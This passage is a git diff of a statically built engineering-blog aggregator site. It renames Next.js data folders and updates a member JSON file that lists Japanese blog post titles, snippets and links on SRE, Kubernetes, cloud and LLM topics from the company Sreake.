diff --git a/404.html b/404.html index 20035d13a..cb075f8e7 100644 --- a/404.html +++ b/404.html @@ -1 +1 @@ -404 not found | 3-shake Engineers' Blogs
404

Page not found...

\ No newline at end of file +404 not found | 3-shake Engineers' Blogs
404

Page not found...

\ No newline at end of file diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/Reckoner.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/Reckoner.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/Reckoner.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/Reckoner.json diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/SatohJohn.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/SatohJohn.json similarity index 100% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/SatohJohn.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/SatohJohn.json diff --git a/_next/data/J-1R6C13_tKYEex-QCkWl/members/Sreake.json b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/Sreake.json similarity index 99% rename from _next/data/J-1R6C13_tKYEex-QCkWl/members/Sreake.json rename to _next/data/7z3_GOwsD37OHKkG0-Ekw/members/Sreake.json index a440c6502..cb230bc92 100644 --- a/_next/data/J-1R6C13_tKYEex-QCkWl/members/Sreake.json +++ b/_next/data/7z3_GOwsD37OHKkG0-Ekw/members/Sreake.json @@ -1 +1 @@ -{"pageProps":{"member":{"id":"Sreake","name":"Sreake","role":"","bio":"This Is The Sreake Section Blog.","avatarSrc":"/avatars/sreake.png","sources":["https://sreake.com/feed/"],"includeUrlRegex":"blog","excludeUrlRegex":"event","twitterUsername":"SreakeJ","githubUsername":"","websiteUrl":"https://sreake.com"},"postItems":[{"title":"スリーシェイク、「SRE総合支援コンサルティングサービス」および「DataDog導入支援サービス」を AWS Marketplace で提供開始","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)が提供する「SRE総合支援コンサルティングサービス」および「DataDog導入支援サービス」を AWS Marketplace で提供開始したことをお知らせします。The post スリーシェイク、「SRE総合支援コンサルティングサービス」および「DataDog導入支援サービス」を AWS Marketplace で提供開始 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/datadog_aws-marketplace/","isoDate":"2024-11-05T02:34:26.000Z","dateMiliSeconds":1730774066000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Generative AI Summit Tokyo ’24 Fallに参加しました","contentSnippet":"Sreake事業部インターン生の荒木です。先日Generative AI Summit Tokyo ’24 Fallに参加してまいりました!本イベントで得られた知見や、セッションの様子などを紹介します。 内容 […]The post Generative AI Summit Tokyo ’24 Fallに参加しました first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/generative-ai-summit-tokyo-24-fall-2/","isoDate":"2024-11-05T01:02:35.000Z","dateMiliSeconds":1730768555000,"authorName":"Sreake","authorId":"Sreake"},{"title":"FinOpsとは 〜クラウドネイティブ・SRE・CCoEの導入によるFinOpsの実践〜","contentSnippet":"目次 はじめに FinOpsとは クラウド利用コストに関する課題 Finopsの実現に必要なこと、導入方法 FinOpsの取り組み例 結論 1. はじめに 現在、さまざまな業界の多種多様なシステムにおいて、クラウドサービ […]The post FinOpsとは 〜クラウドネイティブ・SRE・CCoEの導入によるFinOpsの実践〜 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/finops%e3%81%a8%e3%81%af/","isoDate":"2024-11-01T04:08:54.000Z","dateMiliSeconds":1730434134000,"authorName":"Sreake","authorId":"Sreake"},{"title":"クラウドネイティブとは 〜新時代を切り拓くためのCCoE・SRE導入と実践〜","contentSnippet":"目次 はじめに クラウドネイティブとは何か クラウドネイティブが、システム開発や運用にもたらすメリット クラウドネイティブなシステムを構築、運用するためのポイントや始め方 代表的なクラウドネイティブ技術 クラウドネイティ […]The post クラウドネイティブとは 〜新時代を切り拓くためのCCoE・SRE導入と実践〜 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/%e3%82%af%e3%83%a9%e3%82%a6%e3%83%89%e3%83%8d%e3%82%a4%e3%83%86%e3%82%a3%e3%83%96%e3%81%a8%e3%81%af/","isoDate":"2024-11-01T04:08:34.000Z","dateMiliSeconds":1730434114000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Platform Engineeringとは 〜SRE導入で目指す開発者体験の革新〜","contentSnippet":"目次 はじめに Platform Engineeringとは何か Platform Engineeringがもたらすメリット Platform Engineeringを始める時のポイント 代表的なPlatform Eng […]The post Platform Engineeringとは 〜SRE導入で目指す開発者体験の革新〜 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/platform-engineering/","isoDate":"2024-11-01T04:08:14.000Z","dateMiliSeconds":1730434094000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Cilium Node IPAM LBによるロードバランシング","contentSnippet":"目次 はじめに Ciliumのロードバランシング方法 Node IPAM LB 検証 環境構築 Serviceの作成 externalTrafficPolicy ノードの制限 実装 まとめ 参照 はじめに Sreake事 […]The post Cilium Node IPAM LBによるロードバランシング first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/cilium-node-ipam-lb-load-balancing/","isoDate":"2024-10-28T05:08:45.000Z","dateMiliSeconds":1730092125000,"authorName":"Sreake","authorId":"Sreake"},{"title":"スリーシェイク、 「内製化支援推進 AWS パートナー」認定を取得","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、 アマゾン ウェブ サービス(以下AWS)の AWS パートナープログラムにおける「内製化支援推進 AWS パートナー」に認定されたことをお知らせします。The post スリーシェイク、 「内製化支援推進 AWS パートナー」認定を取得 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/aws_partner/","isoDate":"2024-10-23T01:00:00.000Z","dateMiliSeconds":1729645200000,"authorName":"Sreake","authorId":"Sreake"},{"title":"KubernetesセキュリティDeep Dive","contentSnippet":"自己紹介 高橋 楓 公立千歳科学技術大学理工学部2年の高橋楓です。普段は趣味や他社の長期インターンにてソフトウェア開発を行っており、インフラ基盤にはDockerを利用しています。しかし、KubernetesやGoogle […]The post KubernetesセキュリティDeep Dive first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubernetes-security-deep-dive/","isoDate":"2024-10-21T11:49:27.000Z","dateMiliSeconds":1729511367000,"authorName":"Sreake","authorId":"Sreake"},{"title":"スリーシェイク、「Developers X Summit 2024」に出展","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)が提供するSRE総合支援サービス「Sreake(スリーク)」は、2024年11月14日(木) に開催される「Developers X Summit 2024」にブース出展することをお知らせします。The post スリーシェイク、「Developers X Summit 2024」に出展 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/developers-x-summit-2024/","isoDate":"2024-10-15T01:36:55.000Z","dateMiliSeconds":1728956215000,"authorName":"Sreake","authorId":"Sreake"},{"title":"スリーシェイク、「Biz/Zine Day 2024 Autumn」に出展","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)が提供するSRE総合支援サービス「Sreake(スリーク)」は、2024年10月30日(水) に開催される「Biz/Zine Day 2024 Autumn」にブース出展することをお知らせします。The post スリーシェイク、「Biz/Zine Day 2024 Autumn」に出展 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/biz-zine-day-2024-autumn/","isoDate":"2024-10-10T01:18:48.000Z","dateMiliSeconds":1728523128000,"authorName":"Sreake","authorId":"Sreake"},{"title":"スリーシェイク、Generative AI Summit Tokyo ’24 Fall に協賛","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、2024年10月8日(火)にGoogle 渋谷オフィスで開催される「Modern Infra & Apps Summit ’24」 (主催:グーグル・クラウド・ジャパン合同会社) にスポンサーとして協賛し、セッション登壇することをお知らせします。The post スリーシェイク、Generative AI Summit Tokyo ’24 Fall に協賛 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/generative-ai-summit-tokyo-24-fall/","isoDate":"2024-10-03T01:12:24.000Z","dateMiliSeconds":1727917944000,"authorName":"Sreake","authorId":"Sreake"},{"title":"ポストCloud9?クラウドIDE CoderでPlatform Engineeringを実践する","contentSnippet":"はじめに こんにちは、Sreake事業部の志羅山です。 早いものでもう10月。私が住む長野県はもう朝晩の気温は10℃台となり、日中もとても過ごしやすい気候です。振り返ると今年の夏は天気も不安定で、とても暑い夏でしたね・・ […]The post ポストCloud9?クラウドIDE CoderでPlatform Engineeringを実践する first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/platform-engineering-with-cloud-ide-coder/","isoDate":"2024-10-03T00:44:56.000Z","dateMiliSeconds":1727916296000,"authorName":"Sreake","authorId":"Sreake"},{"title":"BigQuery データキャンバスについて","contentSnippet":"はじめに こんにちは。Sreake事業部DBREチームのsenoです。10月に入り、暦の上では秋となりました。とはいえ夏の暑さはまだまだ続いておりますね。 最近は、気持ちだけでも秋を感じるために「〇〇の秋」と称して色々や […]The post BigQuery データキャンバスについて first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/learn-about-bigquery-datacanvas/","isoDate":"2024-10-02T09:25:24.000Z","dateMiliSeconds":1727861124000,"authorName":"Sreake","authorId":"Sreake"},{"title":"インテックとスリーシェイク、クラウド事業領域で協業し、ユーザー企業のDXを推進 ~両社の得意分野を活かしたクラウドシフトとモダン開発を実現~","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、2024年10月8日(火)にGoogle 渋谷オフィスで開催される「Modern Infra & Apps Summit ’24」 (主催:グーグル・クラウド・ジャパン合同会社) にスポンサーとして協賛し、セッション登壇することをお知らせします。The post インテックとスリーシェイク、クラウド事業領域で協業し、ユーザー企業のDXを推進 ~両社の得意分野を活かしたクラウドシフトとモダン開発を実現~ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/intec_3shake/","isoDate":"2024-09-30T05:01:51.000Z","dateMiliSeconds":1727672511000,"authorName":"Sreake","authorId":"Sreake"},{"title":"DevEXとは","contentSnippet":"目次 はじめに DevExとは何か DevExがアプリケーションとインフラにもたらすメリット DevExを始める時のポイント 代表的なDevEx技術 DevExに関する事例 Sreakeでできること 1. はじめに De […]The post DevEXとは first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/devex%e3%81%a8%e3%81%af/","isoDate":"2024-09-30T01:35:53.000Z","dateMiliSeconds":1727660153000,"authorName":"Sreake","authorId":"Sreake"},{"title":"DevOpsとは","contentSnippet":"目次 はじめに DevOpsとは何か DevOpsがもたらすメリット DevOpsを始める時のポイント DevOpsに関連する技術や組織 DevOpsに関する事例 Sreakeでできること 1. はじめに DevOpsは […]The post DevOpsとは first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/devops%e3%81%a8%e3%81%af/","isoDate":"2024-09-30T01:35:30.000Z","dateMiliSeconds":1727660130000,"authorName":"Sreake","authorId":"Sreake"},{"title":"オブザーバビリティとは","contentSnippet":"目次 はじめに オブザーバビリティとは、従来の監視との違い 代表的なオブザーバビリティツールと機能の特徴 オブザーバビリティツール導入のポイント オブザーバビリティツールの導入事例 Sreakeでできること 1. はじめ […]The post オブザーバビリティとは first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/%e3%82%aa%e3%83%96%e3%82%b6%e3%83%bc%e3%83%90%e3%83%93%e3%83%aa%e3%83%86%e3%82%a3%e3%81%a8%e3%81%af/","isoDate":"2024-09-30T01:35:09.000Z","dateMiliSeconds":1727660109000,"authorName":"Sreake","authorId":"Sreake"},{"title":"クラウドセキュリティとは","contentSnippet":"目次 はじめに クラウドシステムのセキュリティリスクとは クラウドシステムの代表的なセキュリティ対策 セキュリティ対策の実施に必要なこと Sreakeでできること 1. はじめに 近年、企業のIT環境は急速にクラウド化が […]The post クラウドセキュリティとは first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/%e3%82%af%e3%83%a9%e3%82%a6%e3%83%89%e3%82%bb%e3%82%ad%e3%83%a5%e3%83%aa%e3%83%86%e3%82%a3%e3%81%a8%e3%81%af/","isoDate":"2024-09-30T01:34:40.000Z","dateMiliSeconds":1727660080000,"authorName":"Sreake","authorId":"Sreake"},{"title":"スリーシェイク、Google Cloud 主催の Modern Infra & Apps Summit ’24 に協賛","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、2024年10月8日(火)にGoogle 渋谷オフィスで開催される「Modern Infra & Apps Summit ’24」 (主催:グーグル・クラウド・ジャパン合同会社) にスポンサーとして協賛し、セッション登壇することをお知らせします。The post スリーシェイク、Google Cloud 主催の Modern Infra & Apps Summit ’24 に協賛 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/moderninfra_appssummit/","isoDate":"2024-09-25T01:11:18.000Z","dateMiliSeconds":1727226678000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Argo CDによるKubernetesマルチテナント構成の検討","contentSnippet":"はじめに はじめまして、スリーシェイクのSreake事業部インターン生の上田です。 私は、SRE技術の調査と研究を行う目的で2024年8月19日~8月30日に開催された2週間のインターンに参加しました。 私はCI/CDパ […]The post Argo CDによるKubernetesマルチテナント構成の検討 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubernetes-multi-tenants-by-argo-cd/","isoDate":"2024-09-24T22:18:20.000Z","dateMiliSeconds":1727216300000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Platform Engineering の視点から考える、Kubernetes Load Balancing の比較","contentSnippet":"自己紹介 井上 裕介 千葉工業大学 情報科学部 情報工学科 学部4年の井上裕介と申します。大学では主に遺伝的アルゴリズムの改良に関する研究を行っています。2023年のサマーインターンから引き続きSreake事業部にて技術 […]The post Platform Engineering の視点から考える、Kubernetes Load Balancing の比較 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubernetes-load-balancing-comparison-on-platform-engineering-view-point/","isoDate":"2024-09-13T02:59:01.000Z","dateMiliSeconds":1726196341000,"authorName":"Sreake","authorId":"Sreake"},{"title":"スリーシェイク、 Google Cloud Partner Advantage プログラムにおいて「DevOps – サービス」のスペシャライゼーション認定を取得","contentSnippet":"Google Cloud Sell および Service エンゲージメントモデルのプレミアパートナーである株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、Google Cloud Partner Advantage プログラムにおいて、「DevOps - サービス」のスペシャライゼーション認定を取得したことをお知らせします。The post スリーシェイク、 Google Cloud Partner Advantage プログラムにおいて「DevOps – サービス」のスペシャライゼーション認定を取得 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/google-cloud-partner-advantage-devops/","isoDate":"2024-09-13T01:00:00.000Z","dateMiliSeconds":1726189200000,"authorName":"Sreake","authorId":"Sreake"},{"title":"GKE Observabilityツール – Cloud Service MeshとCiliumの比較","contentSnippet":"はじめに extended Berkley Packet Filter (eBPF) は、Linuxのカーネルに組み込まれた技術で、カーネルに直接変更を加えることなくプログラムを安全にカーネル内で実行することを可能にしま […]The post GKE Observabilityツール – Cloud Service MeshとCiliumの比較 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/cloud-service-mesh-cilium-comparison/","isoDate":"2024-09-09T04:55:11.000Z","dateMiliSeconds":1725857711000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Cloud MonitoringおよびCloud Loggingを用いた監視とアラート通知","contentSnippet":"はじめに はじめまして。Sreake事業部インターン生の高島です。2023年10月から長期インターン生としてKubernetes関連技術の習得とSRE技術の調査・検証を行っています。普段は、情報系の大学院生で、数値解析に […]The post Cloud MonitoringおよびCloud Loggingを用いた監視とアラート通知 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/monitoring-and-alerting-with-cloud-monitoring-and-cloud-logging/","isoDate":"2024-09-09T01:05:46.000Z","dateMiliSeconds":1725843946000,"authorName":"Sreake","authorId":"Sreake"},{"title":"CCoEとは","contentSnippet":"目次 はじめに CCoEとは クラウド活用に関する様々な課題 CCoE導入の際のポイント CCoEの導入事例 Sreakeでできること 1. はじめに 現在、さまざまな業界の多種多様なシステムにおいて、クラウドサービス­ […]The post CCoEとは first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/ccoe%e3%81%a8%e3%81%af/","isoDate":"2024-08-30T00:00:00.000Z","dateMiliSeconds":1724976000000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Kubernetesとは","contentSnippet":"目次 はじめに Kubernetesの特徴と代表的な機能 Kubernetesを導入する際のポイント Kubernetesの導入事例 Sreakeでできること 1. はじめに 多様で複雑な現代のソフトウェア開発において、 […]The post Kubernetesとは first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubernetes/","isoDate":"2024-08-30T00:00:00.000Z","dateMiliSeconds":1724976000000,"authorName":"Sreake","authorId":"Sreake"},{"title":"GitLab Runnerによる簡易的なCICDの設計と実装","contentSnippet":"はじめに はじめまして。Sreake事業部インターン生の高島です。2023年10月から長期インターン生としてKubernetes関連技術の習得とSRE技術の調査・検証を行っています。普段は、情報系の大学院生で、数値解析に […]The post GitLab Runnerによる簡易的なCICDの設計と実装 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/gitlab-runner-cicd/","isoDate":"2024-08-29T05:34:28.000Z","dateMiliSeconds":1724909668000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Cilium L2 Announcement を使ってみる","contentSnippet":"はじめに Sreake事業部でインターンをしている小林です。 本記事では、Cilium v1.14で追加されたCilium L2 Announcementを検証しました。 Kubernetes External Load […]The post Cilium L2 Announcement を使ってみる first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/learn-about-cilium-l2-announcement/","isoDate":"2024-08-23T01:10:11.000Z","dateMiliSeconds":1724375411000,"authorName":"Sreake","authorId":"Sreake"},{"title":"LLMを利用して、APIを自動でテストするツールを作ってみる","contentSnippet":"1. はじめに はじめまして、Sreake事業部の井上 秀一です。私はSreake事業部にて、SREや生成AIに関するResearch & Developmentを行っています。本記事では、LLMとテストツールを […]The post LLMを利用して、APIを自動でテストするツールを作ってみる first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/llm-api-test-automation/","isoDate":"2024-08-14T22:24:42.000Z","dateMiliSeconds":1723674282000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Docker Build Check について検証をしてみた","contentSnippet":"はじめに こんにちは、Sreake 事業部 佐藤慧太@(SatohJohn) です。 以下の docker build check という機能について、検証をし、Google Cloud の Cloud Build に組 […]The post Docker Build Check について検証をしてみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/docker-build-check/","isoDate":"2024-08-13T01:00:00.000Z","dateMiliSeconds":1723510800000,"authorName":"Sreake","authorId":"Sreake"},{"title":"SLI、SLO、エラーバジェット導入の前に知っておきたいこと","contentSnippet":"1. はじめに こんにちは、「信頼性は可用性ではない」を標語にしているnwiizoです。 近年、サービスの信頼性向上に向けた取り組みとして、SLI(Service Level Indicator)、SLO(Service […]The post SLI、SLO、エラーバジェット導入の前に知っておきたいこと first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/sli-slo-good-practices/","isoDate":"2024-07-30T03:12:29.000Z","dateMiliSeconds":1722309149000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Cloud Operator Days Tokyo 2024 にスリーシェイクのエンジニアが登壇","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)に在籍するエンジニアが、Cloud Operator Days 2024 実行委員会が主催する「Cloud Operator D […]The post Cloud Operator Days Tokyo 2024 にスリーシェイクのエンジニアが登壇 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/cloud-operator-days-tokyo-2024-%e3%81%ab%e3%82%b9%e3%83%aa%e3%83%bc%e3%82%b7%e3%82%a7%e3%82%a4%e3%82%af%e3%81%ae%e3%82%a8%e3%83%b3%e3%82%b8%e3%83%8b%e3%82%a2%e3%81%8c%e8%ac%9b%e5%b8%ab%e3%81%a8/","isoDate":"2024-07-25T01:11:09.000Z","dateMiliSeconds":1721869869000,"authorName":"Sreake","authorId":"Sreake"},{"title":"スリーシェイク、SRE NEXT 2024 にDIAMONDスポンサーとして協賛","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、 2024年8月3日(土)・8月4日(日)に@Abema Towersで開催される「SRE NEXT 2024」にDIAMO […]The post スリーシェイク、SRE NEXT 2024 にDIAMONDスポンサーとして協賛 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/srenext2024/","isoDate":"2024-07-23T01:18:53.000Z","dateMiliSeconds":1721697533000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Webサイトを自律攻撃するLLMのロジックを考えた","contentSnippet":"目次 はじめに LLMによるハッキングの先行事例 シンプルなAssistants API を用いた攻撃 自律攻撃を行うエージェント 効果的なエージェントの作成の既存手法 3エージェントによる計画・実行・再計画のループ機構 […]The post Webサイトを自律攻撃するLLMのロジックを考えた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/llm_hacker_gpt/","isoDate":"2024-07-22T01:00:00.000Z","dateMiliSeconds":1721610000000,"authorName":"Sreake","authorId":"Sreake"},{"title":"ShellScriptで自動化を楽にしたい時に知っておいても良いこと","contentSnippet":"はじめに こんにちは、皆さん。今日は、シェルスクリプトを使った高度な自動化のベストプラクティスとパターンについて解説します。これらは、ちょっとした知識で実行でき、作業を大幅に効率化できるTipsです。シェルスクリプトは、 […]The post ShellScriptで自動化を楽にしたい時に知っておいても良いこと first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/shellscript-good-practices/","isoDate":"2024-07-14T23:08:45.000Z","dateMiliSeconds":1720998525000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Pull requestの概要の作成とコードの改善を提案するツールを作ってみた","contentSnippet":"1. はじめに はじめまして、Sreake事業部でインターンをしている村山です。 今回は、PR Guardianというツールの開発と検証をしました。PR GuardianはPull Requestの概要の作成、コードの改 […]The post Pull requestの概要の作成とコードの改善を提案するツールを作ってみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/pr-guardian/","isoDate":"2024-07-09T11:10:06.000Z","dateMiliSeconds":1720523406000,"authorName":"Sreake","authorId":"Sreake"},{"title":"スリーシェイク、PagerDuty on Tour TOKYO 2024 にGoldスポンサーとして協賛","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は 2024年8月6日(火)に東京ミッドタウンで開催される「PagerDuty on Tour TOKYO 2024」にGold […]The post スリーシェイク、PagerDuty on Tour TOKYO 2024 にGoldスポンサーとして協賛 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/sponsor/","isoDate":"2024-07-05T01:19:54.000Z","dateMiliSeconds":1720142394000,"authorName":"Sreake","authorId":"Sreake"},{"title":"soci-snapshotter によるコンテナの起動時間削減について","contentSnippet":"はじめに 近年、機械学習を使ったアプリケーションの需要が高まっており、Kubernetes と GPU を組み合わせて使うパターンが多く存在します。その中で問題となることの 1 つが、コンテナイメージのサイズが大きくなる […]The post soci-snapshotter によるコンテナの起動時間削減について first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/container-lazy-pull-soci-snapshotter/","isoDate":"2024-07-03T09:04:51.000Z","dateMiliSeconds":1719997491000,"authorName":"Sreake","authorId":"Sreake"},{"title":"space-agonを通して触るゲームインフラ","contentSnippet":"はじめに Sreake 事業部でインターンをしている小川です。主にパブリッククラウド周辺に触れながら、 Kubernetes 関連の OSS の技術検証・調査をしています。 本調査では、Agones と Open Mat […]The post space-agonを通して触るゲームインフラ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/learn-game-infrastructure-from-space-agon/","isoDate":"2024-07-03T09:04:48.000Z","dateMiliSeconds":1719997488000,"authorName":"Sreake","authorId":"Sreake"},{"title":"ReckonerとATBeX Service LinkのGCP接続を検証してみた","contentSnippet":"はじめに Sreake事業部のsatokenです。 普段はお客様向けのSRE案件も担当していますが、弊社SaaSのReckonerのSREも兼務しています。 これまでReckonerからDataソースにアクセスするときは […]The post ReckonerとATBeX Service LinkのGCP接続を検証してみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/reckoner-atbex-service-link-gcp/","isoDate":"2024-06-25T07:15:31.000Z","dateMiliSeconds":1719299731000,"authorName":"Sreake","authorId":"Sreake"},{"title":"[Kubecon EU 2024: Cloud Native AI Day]Reducing Cross-Zone Egress at Spotify with Custom gRPC Load Balancing のご紹介","contentSnippet":"はじめに こんにちは、Sreake事業部の永瀬滉平です! 今回はKubeCon EU 2024に参加してきましたので、中でも気になったセッションをピックアップしてご紹介したいと思います。 セッションについて 取り上げるセ […]The post [Kubecon EU 2024: Cloud Native AI Day]Reducing Cross-Zone Egress at Spotify with Custom gRPC Load Balancing のご紹介 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubecon-eu-2024-cloud-native-ai-dayreducing-cross-zone-egress-at-spotify-with-custom-grpc-load-balancing/","isoDate":"2024-06-19T01:18:15.000Z","dateMiliSeconds":1718759895000,"authorName":"Sreake","authorId":"Sreake"},{"title":"KubernetesにおけるCELの記述方法まとめ","contentSnippet":"はじめに Kubernetes 1.30でValidating Admission Policyの機能がGAするなど、開発中の新機能にCELが組み込まれるケースが増えています。今後Kubernetesで使われる機会が増え […]The post KubernetesにおけるCELの記述方法まとめ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubernetes-cel-description/","isoDate":"2024-06-12T03:33:38.000Z","dateMiliSeconds":1718163218000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Google CloudのRapid evaluation APIを利用したLLMの評価手法","contentSnippet":"1. はじめに はじめまして、Sreake事業部の井上 秀一です。私はSreake事業部にて、SREや生成AIに関するResearch & Developmentを行っています。 本記事では、LLMの評価手法とし […]The post Google CloudのRapid evaluation APIを利用したLLMの評価手法 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/google-cloud-rapid-evaluation-api-verification/","isoDate":"2024-06-10T09:31:15.000Z","dateMiliSeconds":1718011875000,"authorName":"Sreake","authorId":"Sreake"},{"title":"SREに求められるスキルと心構え","contentSnippet":"はじめに こんにちは、最近の私の人生はキックボクシングとコーディングの2つの活動に極端に偏りつつあります。nwiizoです。一見正反対のようなこの2つの活動ですが、共通する本質があります。それは、頭で考えるだけでなく、実 […]The post SREに求められるスキルと心構え first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/sre-required-skills-and-mindset/","isoDate":"2024-06-03T01:56:04.000Z","dateMiliSeconds":1717379764000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Geminiはトーク分析ツールに取って代わるか","contentSnippet":"はじめに 初めまして、Sreake事業部アプリケーション開発支援チームの大美です。 先日、Googleのマルチモーダル生成AIモデル Gemini 1.5 Pro のコンテキストウィンドウが100万→200万トークンにア […]The post Geminiはトーク分析ツールに取って代わるか first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/gemini-talk-analysis/","isoDate":"2024-05-24T10:28:39.000Z","dateMiliSeconds":1716546519000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Google Cloudのプロンプト比較機能を用いた、言語モデルにおけるプロンプト設計","contentSnippet":"1. はじめに はじめまして、Sreake事業部の井上 秀一です。私はSreake事業部にて、SREや生成AIに関するResearch & Developmentを行っています。 本記事では、Google Clo […]The post Google Cloudのプロンプト比較機能を用いた、言語モデルにおけるプロンプト設計 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/google-cloud-prompt-design/","isoDate":"2024-05-24T09:52:32.000Z","dateMiliSeconds":1716544352000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Cloud SQL(MySQL)とSpring Bootの画像検索アプリケーション作成","contentSnippet":"はじめに Google Cloud Next ’24 にて Cloud SQL for MySQL にて Embedding データを入れられるようになったというアナウンスが有りました。 https://cl […]The post Cloud SQL(MySQL)とSpring Bootの画像検索アプリケーション作成 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/cloudsql-spring-boot-image-search-app/","isoDate":"2024-05-15T00:02:44.000Z","dateMiliSeconds":1715731364000,"authorName":"Sreake","authorId":"Sreake"},{"title":"OpenTelemetryによる計装とOpenTelemetry Collectorについて調べてみた","contentSnippet":"はじめに はじめまして、スリーシェイクインターン生の有馬祐二と関根弘晃です。私たちは2024年3月18日~3月29日に開催された短期インターンシップに参加しました。私たちのグループではインターンの期間でテレメトリデータの […]The post OpenTelemetryによる計装とOpenTelemetry Collectorについて調べてみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/opentelemetry-instrumentation/","isoDate":"2024-05-07T01:32:46.000Z","dateMiliSeconds":1715045566000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Ciliumのkube-proxy置き換えに関する調査 ~ GKE Dataplane V1・V2 の比較 ~","contentSnippet":"自己紹介 小林 